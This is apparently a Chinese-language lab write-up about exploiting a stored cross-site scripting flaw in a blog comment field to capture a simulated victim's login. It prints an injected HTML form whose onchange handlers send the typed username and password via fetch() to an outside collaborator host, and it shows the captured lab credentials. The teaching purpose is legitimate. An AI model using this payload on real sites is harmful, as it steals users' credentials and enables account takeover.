> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/xss/password-capture-via-xss.md).

# 通过 XSS 捕获密码

### 利用跨站脚本攻击捕获密码

此实验室在博客评论功能中包含一个持久型 XSS 漏洞。模拟用户（受害者）会在发布后查看所有评论。教学目标是利用此缺陷窃取受害者的用户名和密码，然后使用这些凭据进行登录。

一个小表单被注入到评论中。当受害者输入其信息时， `fetch()` 请求会将这些值发送到攻击者控制的 URL，从而使用户能够捕获凭据。

注入的表单

```html
用户：
<input name="username" id="username"
onchange="fetch('https://oa2pwdff52rm383bb9abv5myepkh87ww.oastify.com?username=' + this.value)">
<br><br>

密码：
<input name="password" id="password" type="password"
onchange="fetch('https://oa2pwdff52rm383bb9abv5myepkh87ww.oastify.com?password=' + this.value)">
```

* 上述表单会在每次修改时触发将 `username` 和 `密码` 字段发送到监听的 URL（`onchange`).

<figure><img src="/files/436d4a6af50bd5dc962d03fabb5fea5230e0e558" alt=""><figcaption></figcaption></figure>

已捕获的凭据：

* **用户名：** `administrator`

<figure><img src="/files/95d63d6cef3c668be2a24b905d9c1a036a1923b6" alt=""><figcaption></figcaption></figure>

* **密码：** `qzkcz73zlwri7yiwpf31`

<figure><img src="/files/e2ebcc8cbba2cf37e86ccea7b0655d0e3d00dc25" alt=""><figcaption></figcaption></figure>


---

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